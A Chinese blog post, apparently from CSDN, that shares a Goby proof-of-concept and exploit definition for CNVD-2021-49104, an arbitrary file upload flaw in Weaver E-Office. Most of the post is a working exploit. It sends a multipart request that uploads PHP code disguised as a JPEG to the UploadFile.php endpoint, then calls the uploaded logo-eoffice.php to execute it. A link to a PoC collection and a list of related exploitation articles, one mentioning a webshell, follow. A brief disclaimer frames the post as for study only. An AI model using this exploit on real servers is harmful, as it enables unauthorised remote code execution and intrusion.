声明

本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。

代码

{"Name": "泛微 EOffice Arbitrary File Upload CNVD-2021-49104","Level": "3","Tags": ["getshell"],"GobyQuery": "(app=\"泛微-EOffice\" | app=\"EOffice\")","Description": "泛微 EOffice 存在任意文件上传","Product": "https://www.weaver.com.cn/","Homepage": "https://gobies.org/","Author": "aetkrad","Impact": "","Recommendation": "","References": ["https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247486095&idx=1&sn=950550f05795d6ae64842a2f3a5b0eca"],"HasExp": true,"ExpParams": null,"ExpTips": {"Type": "","Content": ""},"ScanSteps": ["AND",{"Request": {"method": "POST","uri": "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=","follow_redirect": false,"header": {"Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4"},"data_type": "text","data": "--e64bdf16c554bbc109cecef6451c26a4\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.php\"\nContent-Type: image/jpeg\n\n<?php\nprint \"test\";\n?>\n\n--e64bdf16c554bbc109cecef6451c26a4--","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "logo-eoffice.php","bz": ""}]},"SetVariable": ["output|define||访问"]},{"Request": {"method": "GET","uri": "/images/logo/logo-eoffice.php","follow_redirect": false,"header": null,"data_type": "text","data": "","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "test","bz": ""}]},"SetVariable": ["output|lastbody|regex|"]}],"ExploitSteps": ["AND",{"Request": {"method": "POST","uri": "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=","follow_redirect": false,"header": {"Content-Type": "multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4"},"data_type": "text","data": "--e64bdf16c554bbc109cecef6451c26a4\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test1.php\"\nContent-Type: image/jpeg\n\n<?php\nphpinfo();\n?>\n\n--e64bdf16c554bbc109cecef6451c26a4--","set_variable": []},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "logo-eoffice.php","bz": ""}]},"SetVariable": ["output|define||/images/logo/logo-eoffice.php"]}],"PostTime": "2021-11-29 10:13:59","GobyVersion": "1.9.310"
}

poc集合

地址：https://github.com/aetkrad/goby_poc
帮助到你的话给个星吧！

泛微任意文件上传（CNVD-2021-49104）相关推荐

泛微E-Office文件上传漏洞（CNVD-2021-49104）
泛微E-Office文件上传漏洞(CNVD-2021-49104) 漏洞描述泛微e-office是泛微旗下的一款标准协同移动办公平台.由于 e-office 未能正确处理上传模块中的用户输入,攻击者 ...
(php)泛微E-Office文件上传漏洞(原理分析+复现+批量检测)
漏洞描述泛微e-office是泛微旗下的一款标准协同移动办公平台. CNVD-2021-49104 由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包 ...
泛微 E-Office 文件上传Getshell
ip:xxx.xxx.xxx.xxx 2.通过Thelostworld_OA发现此IP有泛微文件上传漏洞 3.在命令执行一栏输入命令,显示注入哥斯拉木马,利用哥斯拉进行连接,连接成功. 4.在哥斯拉命 ...
CNVD-2021-49104——泛微E-Office文件上传漏洞
0x01 漏洞简介泛微e-office是泛微旗下的一款标准协同移动办公平台.由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行. ...
泛微 E-Office文件上传漏洞复现（CVE-2023-2523、CVE-2023-2648）
0x01 产品简介泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用.高效智能的原则,为企业快速打造移动化. ...
CNVD-2021-49104漏洞复现（泛微E-Office文件上传漏洞）
1.漏洞检测脚本自己写的简单检测脚本,感兴趣可以看看 CSDN 2.漏洞成因该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行. ...
某office前台任意文件上传漏洞分析
X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...
php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞
事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...
漏洞复现用友畅捷通T+任意文件上传漏洞(CNVD-2022-60632)
文章目录漏洞复现用友畅捷通T+任意文件上传漏洞(CNVD-2022-60632) 1. 用友畅捷通T+简介 2.漏洞描述 3.影响版本 4.fofa 查询语句 5.漏洞复现 6.POC&E ...

泛微任意文件上传（CNVD-2021-49104）

CNVD-2021-49104 goby exp

声明

代码

poc集合

泛微任意文件上传（CNVD-2021-49104）相关推荐

最新文章

热门文章